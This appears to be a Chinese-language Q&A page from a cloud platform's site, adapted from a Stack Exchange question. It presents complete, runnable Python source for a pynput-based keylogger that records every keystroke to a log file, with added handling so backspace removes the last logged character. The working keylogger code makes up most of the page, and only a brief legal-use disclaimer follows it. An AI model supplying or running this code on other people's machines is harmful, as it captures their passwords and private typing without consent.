You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python实现keylogger:按下backspace删除文本文件末尾字符方案

实现思路
  • 先修复现有代码的2处语法错误:key = key.replace("'","" 行末尾缺少右括号,if key == "Key.backspace" 行末尾缺少冒号
  • 检测到backspace按下时,跳过原有追加写入逻辑,执行专属处理:
    1. 读取日志文件的全部内容,新增异常捕获避免文件未初始化时触发报错
    2. 如果文件内容长度大于0,删除最后1个字符,内容为空时不做操作
    3. 把处理后的内容覆盖写入日志文件
    4. 处理完成后直接返回,不执行后续的追加写入逻辑
完整可运行代码
from pynput.keyboard import Listener

def anonymous(key):
    key = str(key)
    key = key.replace("'","")
    if key == "Key.esc":
        raise SystemExit(0)
    if key == "Key.ctrl_l":
        key = "ctrl"
    if key == "Key.enter":
        key = "\n"
    if key == "Key.caps_lock":
        key = "capslock"
    if key == "Key.tab":
        key = "\n"
    if key == "Key.ctrl_r":
        key = "ctrl"
    if key == "Key.space":
        key = " "
    if key == "Key.backspace":
        # 处理退格逻辑
        try:
            with open("log.txt", "r", encoding="utf-8") as f:
                content = f.read()
            if len(content) > 0:
                content = content[:-1]
            with open("log.txt", "w", encoding="utf-8") as f:
                f.write(content)
        except FileNotFoundError:
            # 文件不存在时无需操作
            pass
        # 退格处理完直接返回,不执行后续写入
        return

    with open("log.txt", "a", encoding="utf-8") as file:
        file.write(key)
    print(key)

with Listener(on_press=anonymous) as listener:
    listener.join()

注意:本代码仅用于合法学习用途,请勿用于窃取他人隐私等非法场景,使用者需自行承担相关法律责任。

内容的提问来源于stack exchange,提问作者Kiệt Lặc

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.10.05 04:36:05